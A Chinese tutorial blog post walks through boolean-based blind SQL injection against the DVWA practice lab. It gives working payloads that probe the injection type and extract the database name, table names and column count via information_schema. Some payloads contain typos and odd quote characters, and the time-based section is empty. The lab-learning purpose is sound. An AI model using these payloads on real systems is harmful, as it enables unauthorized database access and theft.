zoukankan      html  css  js  c++  java
  • DVWA-sql注入(盲注)

    SQL注入分类

    1.(以字符类型方式)

         ▪数字型

         ▪字符型

    2.(以注入方式)

           ▪ 回显注入        < 回显正常、 回显报错注入>

           ▪ 盲注               <布尔盲注、  时间盲注  >

    dvwa盲注模块 

    低级别

    输入5

    输入6

    输入  1 and  1=1 #  正确  1  and  1=2   #  正确

    输入  1' and '1'='1 #  正确   1’ and  '1'='2 # 错误

    说明 存在注入漏洞  且是字符型  得盲注

    一、猜解数据库名

    1' and lengeh(database()) > 3  # 正确

    1' and lengeh(database()) > 4   # 错误

    数据库长度是4 

    输入1’ and length(database())=4 # ,显示存在:说明长度为4

     

    然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

    1’ and ascii(substr(databse(),1,1))=100 #

     第一个字母的ASCII值是100,也就是d,以此类推得出数据库名是dvwa。

    二、 猜解表名:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

     说明有两个表。

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 

    显示存在,说明第一个表的长度是9.

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

    显示存在,说明第一个字母是g。

    再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

    三、猜解字段名:

    猜解数量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

    显示存在,说明一共8个字段。

    然后再利用2分法猜解字段名和字段中数据。

    基于时间的盲注:

     

     

     

     

     

  • 相关阅读:
    linux下利用valgrind工具进行内存泄露检测和性能分析
    Linux下内存泄漏工具
    linux下将不同线程绑定到不同core和cpu上——pthread_setaffinity_np
    Linux下getopt()函数
    SparkStreaming+Kafka整合
    Hive+Sqoop+Mysql整合
    crontab
    Hive与Hbase整合
    关系数据库数据与hadoop数据进行转换的工具
    Flume+Kafka+Storm+Hbase+HDSF+Poi整合
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12775929.html
Copyright © 2011-2022 走看看